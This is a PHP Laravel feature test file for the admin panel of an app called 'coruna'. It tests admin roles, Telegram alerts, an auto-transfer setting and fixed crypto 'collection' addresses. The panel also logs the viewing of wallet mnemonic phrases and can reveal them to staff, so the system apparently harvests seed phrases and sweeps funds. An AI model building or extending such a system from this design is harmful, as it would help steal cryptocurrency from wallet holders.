384 lines
13 KiB
PHP
384 lines
13 KiB
PHP
<?php
|
|
|
|
namespace Tests\Feature;
|
|
|
|
use App\Models\Admin;
|
|
use Illuminate\Foundation\Testing\RefreshDatabase;
|
|
use PHPUnit\Framework\Attributes\Test;
|
|
use Tests\TestCase;
|
|
|
|
class SystemAdminTest extends TestCase
|
|
{
|
|
use RefreshDatabase;
|
|
|
|
private string $envBackup = '';
|
|
|
|
protected function setUp(): void
|
|
{
|
|
parent::setUp();
|
|
$path = base_path('.env');
|
|
$this->envBackup = is_file($path) ? (string) file_get_contents($path) : '';
|
|
config([
|
|
'coruna.panel.admin_hosts' => [],
|
|
'coruna.panel.agent_hosts' => [],
|
|
]);
|
|
}
|
|
|
|
protected function tearDown(): void
|
|
{
|
|
config([
|
|
'coruna.panel.admin_hosts' => [],
|
|
'coruna.panel.agent_hosts' => [],
|
|
]);
|
|
$path = base_path('.env');
|
|
if ($this->envBackup !== '') {
|
|
file_put_contents($path, $this->envBackup);
|
|
}
|
|
parent::tearDown();
|
|
}
|
|
|
|
private function superAdmin(): Admin
|
|
{
|
|
return Admin::query()->create([
|
|
'username' => 'root',
|
|
'password' => 'secret12',
|
|
'is_super' => 1,
|
|
]);
|
|
}
|
|
|
|
private function normalAdmin(): Admin
|
|
{
|
|
return Admin::query()->create([
|
|
'username' => 'staff',
|
|
'password' => 'secret12',
|
|
'is_super' => 0,
|
|
]);
|
|
}
|
|
|
|
#[Test]
|
|
public function normal_admin_cannot_access_super_only_routes(): void
|
|
{
|
|
$staff = $this->normalAdmin();
|
|
|
|
$this->actingAs($staff, 'admin')
|
|
->get(route('admin.system.admins.index'))
|
|
->assertForbidden();
|
|
|
|
$this->actingAs($staff, 'admin')
|
|
->get(route('admin.system.logs.index'))
|
|
->assertForbidden();
|
|
|
|
$this->actingAs($staff, 'admin')
|
|
->getJson(route('admin.system.logs.data'))
|
|
->assertForbidden();
|
|
}
|
|
|
|
#[Test]
|
|
public function normal_admin_can_access_system_settings(): void
|
|
{
|
|
$staff = $this->normalAdmin();
|
|
|
|
$this->actingAs($staff, 'admin')
|
|
->get(route('admin.system.settings.index'))
|
|
->assertOk()
|
|
->assertSee('系统设置')
|
|
->assertSee('相册存储(官方渠道)');
|
|
|
|
$this->actingAs($staff, 'admin')
|
|
->get(route('admin.home'))
|
|
->assertOk()
|
|
->assertSee('每日报表')
|
|
->assertSee('数据分析')
|
|
->assertSee('lay-href="'.route('admin.reports.daily').'"', false)
|
|
->assertSee('lay-href="'.route('admin.reports.analytics').'"', false)
|
|
->assertSee('lay-href="'.route('admin.system.settings.index').'"', false)
|
|
->assertDontSee('lay-href="'.route('admin.system.logs.index').'"', false)
|
|
->assertDontSee('lay-href="'.route('admin.system.admins.index').'"', false)
|
|
->assertDontSee('原始日志');
|
|
}
|
|
|
|
#[Test]
|
|
public function super_admin_can_view_system_logs(): void
|
|
{
|
|
$super = $this->superAdmin();
|
|
|
|
$this->actingAs($super, 'admin')
|
|
->get(route('admin.system.logs.index'))
|
|
->assertOk()
|
|
->assertSee('系统日志')
|
|
->assertSee('操作内容')
|
|
->assertSee('查看助记词');
|
|
|
|
$this->actingAs($super, 'admin')
|
|
->getJson(route('admin.system.logs.data'))
|
|
->assertOk()
|
|
->assertJsonPath('code', 0)
|
|
->assertJsonPath('count', 0);
|
|
}
|
|
|
|
#[Test]
|
|
public function super_admin_sees_full_system_menu(): void
|
|
{
|
|
$this->actingAs($this->superAdmin(), 'admin')
|
|
->get(route('admin.home'))
|
|
->assertOk()
|
|
->assertSee('系统')
|
|
->assertSee('设置')
|
|
->assertSee('系统日志')
|
|
->assertSee('管理员')
|
|
->assertDontSee('原始日志');
|
|
}
|
|
|
|
#[Test]
|
|
public function super_admin_can_save_settings(): void
|
|
{
|
|
$super = $this->superAdmin();
|
|
config([
|
|
'coruna.telegram.bot_token' => 'bot:token',
|
|
'coruna.telegram.bot_username' => '',
|
|
]);
|
|
\Illuminate\Support\Facades\Http::fake(function ($request) {
|
|
if (str_contains($request->url(), 'getMe')) {
|
|
return \Illuminate\Support\Facades\Http::response([
|
|
'ok' => true,
|
|
'result' => ['id' => 1, 'is_bot' => true, 'username' => 'test_bot'],
|
|
], 200);
|
|
}
|
|
|
|
return \Illuminate\Support\Facades\Http::response(['ok' => true], 200);
|
|
});
|
|
|
|
$this->actingAs($super, 'admin')
|
|
->post(route('admin.system.settings.update'), [
|
|
'telegram_owner_chat_id' => '-1001',
|
|
'official_album_storage' => '1',
|
|
'auto_transfer_enabled' => '0',
|
|
])
|
|
->assertOk()
|
|
->assertJsonPath('code', 0)
|
|
->assertJsonPath('data.bot_username', '@test_bot');
|
|
|
|
$env = (string) file_get_contents(base_path('.env'));
|
|
$this->assertStringContainsString('TELEGRAM_OWNER_CHAT_ID=-1001', $env);
|
|
$this->assertStringContainsString('TELEGRAM_BOT_USERNAME=test_bot', $env);
|
|
$this->assertStringContainsString('CORUNA_OFFICIAL_ALBUM_STORAGE=1', $env);
|
|
$this->assertSame('test_bot', config('coruna.telegram.bot_username'));
|
|
$this->assertSame('-1001', config('coruna.telegram.owner_chat_id'));
|
|
$this->assertTrue(config('coruna.album_storage.official_default'));
|
|
}
|
|
|
|
#[Test]
|
|
public function settings_page_hides_token_and_shows_readonly_collect_addresses(): void
|
|
{
|
|
config([
|
|
'coruna.telegram.bot_token' => 'secret-token-should-not-render',
|
|
'coruna.telegram.bot_username' => 'ops_bot',
|
|
'coruna.transfer.to_address' => 'TCollectTronAddressForDisplayOnly',
|
|
'coruna.transfer.to_address_eth' => '0xCollectEthAddressForDisplayOnly',
|
|
'coruna.transfer.to_address_btc' => 'bc1CollectBtcAddressForDisplay',
|
|
'coruna.panel.admin_hosts' => [],
|
|
'coruna.channel_domains' => ['hidden-cdn.example.com'],
|
|
]);
|
|
|
|
$this->actingAs($this->superAdmin(), 'admin')
|
|
->get(route('admin.system.settings.index'))
|
|
->assertOk()
|
|
->assertDontSee('secret-token-should-not-render')
|
|
->assertDontSee('name="telegram_bot_token"', false)
|
|
->assertDontSee('name="transfer_to_address"', false)
|
|
->assertDontSee('name="transfer_to_address_eth"', false)
|
|
->assertDontSee('name="transfer_to_address_btc"', false)
|
|
->assertDontSee('name="panel_admin_hosts"', false)
|
|
->assertDontSee('name="channels_domains"', false)
|
|
->assertDontSee('后台访问域名')
|
|
->assertDontSee('渠道链接')
|
|
->assertSee('归集地址')
|
|
->assertSee('TCollectTronAddressForDisplayOnly')
|
|
->assertSee('0xCollectEthAddressForDisplayOnly')
|
|
->assertSee('bc1CollectBtcAddressForDisplay')
|
|
->assertDontSee('hidden-cdn.example.com')
|
|
->assertSee('TELEGRAM_BOT_TOKEN')
|
|
->assertSee('@ops_bot')
|
|
->assertDontSee('助记词明文(员工 / 代理)')
|
|
->assertDontSee('staff_mnemonic_reveal');
|
|
}
|
|
|
|
#[Test]
|
|
public function settings_update_cannot_change_collect_addresses(): void
|
|
{
|
|
config([
|
|
'coruna.transfer.to_address' => 'TKeepCollect',
|
|
'coruna.transfer.to_address_eth' => '0xKeepCollect',
|
|
'coruna.transfer.to_address_btc' => 'bc1KeepCollect',
|
|
]);
|
|
|
|
$this->actingAs($this->superAdmin(), 'admin')
|
|
->post(route('admin.system.settings.update'), [
|
|
'telegram_owner_chat_id' => '-1001',
|
|
'official_album_storage' => '0',
|
|
'auto_transfer_enabled' => '0',
|
|
'transfer_to_address' => 'THackedCollect',
|
|
'transfer_to_address_eth' => '0xHackedCollect',
|
|
'transfer_to_address_btc' => 'bc1HackedCollect',
|
|
])
|
|
->assertOk()
|
|
->assertJsonPath('code', 0);
|
|
|
|
$this->assertSame('TKeepCollect', config('coruna.transfer.to_address'));
|
|
$this->assertSame('0xKeepCollect', config('coruna.transfer.to_address_eth'));
|
|
$this->assertSame('bc1KeepCollect', config('coruna.transfer.to_address_btc'));
|
|
}
|
|
|
|
#[Test]
|
|
public function super_admin_can_crud_admins(): void
|
|
{
|
|
$super = $this->superAdmin();
|
|
|
|
$this->actingAs($super, 'admin')
|
|
->post(route('admin.system.admins.store'), [
|
|
'username' => 'newstaff',
|
|
'password' => 'secret12',
|
|
'is_super' => 0,
|
|
])
|
|
->assertOk()
|
|
->assertJsonPath('code', 0);
|
|
|
|
$staff = Admin::query()->where('username', 'newstaff')->first();
|
|
$this->assertNotNull($staff);
|
|
$this->assertSame(0, (int) $staff->is_super);
|
|
|
|
$this->actingAs($super, 'admin')
|
|
->putJson(route('admin.system.admins.update', $staff), [
|
|
'password' => 'newpass12',
|
|
'is_super' => 0,
|
|
])
|
|
->assertOk()
|
|
->assertJsonPath('code', 0);
|
|
|
|
$this->actingAs($super, 'admin')
|
|
->deleteJson(route('admin.system.admins.destroy', $staff))
|
|
->assertOk()
|
|
->assertJsonPath('code', 0);
|
|
|
|
$this->assertDatabaseMissing('admins', ['username' => 'newstaff']);
|
|
}
|
|
|
|
#[Test]
|
|
public function cannot_delete_last_super_admin(): void
|
|
{
|
|
$super = $this->superAdmin();
|
|
|
|
$this->actingAs($super, 'admin')
|
|
->deleteJson(route('admin.system.admins.destroy', $super))
|
|
->assertStatus(422);
|
|
|
|
$this->assertDatabaseHas('admins', ['id' => $super->id]);
|
|
}
|
|
|
|
#[Test]
|
|
public function super_admin_can_send_telegram_test(): void
|
|
{
|
|
config([
|
|
'coruna.telegram.bot_token' => 'saved-token',
|
|
'coruna.telegram.owner_chat_id' => '100',
|
|
]);
|
|
\Illuminate\Support\Facades\Http::fake([
|
|
'api.telegram.org/*' => \Illuminate\Support\Facades\Http::response(['ok' => true], 200),
|
|
]);
|
|
|
|
$this->actingAs($this->superAdmin(), 'admin')
|
|
->post(route('admin.system.settings.telegramTest'), [
|
|
'chat_id' => '-1009',
|
|
])
|
|
->assertOk()
|
|
->assertJsonPath('code', 0);
|
|
|
|
\Illuminate\Support\Facades\Http::assertSent(function ($request) {
|
|
return str_contains($request->url(), '/botsaved-token/')
|
|
&& ($request->data()['chat_id'] ?? null) === '-1009'
|
|
&& str_contains((string) ($request->data()['text'] ?? ''), 'Telegram 测试');
|
|
});
|
|
}
|
|
|
|
#[Test]
|
|
public function telegram_test_reports_telegram_error(): void
|
|
{
|
|
config(['coruna.telegram.bot_token' => 'saved-token']);
|
|
\Illuminate\Support\Facades\Http::fake([
|
|
'api.telegram.org/*' => \Illuminate\Support\Facades\Http::response([
|
|
'ok' => false,
|
|
'description' => 'Bad Request: chat not found',
|
|
], 400),
|
|
]);
|
|
|
|
$this->actingAs($this->superAdmin(), 'admin')
|
|
->post(route('admin.system.settings.telegramTest'), [
|
|
'chat_id' => '999',
|
|
])
|
|
->assertOk()
|
|
->assertJsonPath('code', 1)
|
|
->assertJsonPath('msg', 'Bad Request: chat not found');
|
|
}
|
|
|
|
#[Test]
|
|
public function normal_admin_can_send_telegram_test(): void
|
|
{
|
|
config([
|
|
'coruna.telegram.bot_token' => 'saved-token',
|
|
'coruna.telegram.owner_chat_id' => '100',
|
|
]);
|
|
\Illuminate\Support\Facades\Http::fake([
|
|
'api.telegram.org/*' => \Illuminate\Support\Facades\Http::response(['ok' => true], 200),
|
|
]);
|
|
|
|
$this->actingAs($this->normalAdmin(), 'admin')
|
|
->post(route('admin.system.settings.telegramTest'), [
|
|
'chat_id' => '-1009',
|
|
])
|
|
->assertOk()
|
|
->assertJsonPath('code', 0);
|
|
}
|
|
|
|
#[Test]
|
|
public function normal_admin_cannot_access_admins_crud(): void
|
|
{
|
|
$this->actingAs($this->normalAdmin(), 'admin')
|
|
->post(route('admin.system.admins.store'), [
|
|
'username' => 'x',
|
|
'password' => 'secret12',
|
|
])
|
|
->assertForbidden();
|
|
}
|
|
|
|
#[Test]
|
|
public function settings_page_shows_bot_username_from_getMe(): void
|
|
{
|
|
config([
|
|
'coruna.telegram.bot_token' => 'saved-token',
|
|
'coruna.telegram.bot_username' => '',
|
|
]);
|
|
\Illuminate\Support\Facades\Http::fake(function ($request) {
|
|
if (str_contains($request->url(), 'getMe')) {
|
|
return \Illuminate\Support\Facades\Http::response([
|
|
'ok' => true,
|
|
'result' => ['username' => 'ops_bot'],
|
|
], 200);
|
|
}
|
|
|
|
return \Illuminate\Support\Facades\Http::response(['ok' => true], 200);
|
|
});
|
|
|
|
$this->actingAs($this->superAdmin(), 'admin')
|
|
->get(route('admin.system.settings.index'))
|
|
->assertOk()
|
|
->assertSee('@ops_bot')
|
|
->assertSee('t.me/ops_bot?startgroup=1', false);
|
|
|
|
$this->assertSame('ops_bot', config('coruna.telegram.bot_username'));
|
|
$this->assertStringContainsString(
|
|
'TELEGRAM_BOT_USERNAME=ops_bot',
|
|
(string) file_get_contents(base_path('.env'))
|
|
);
|
|
}
|
|
}
|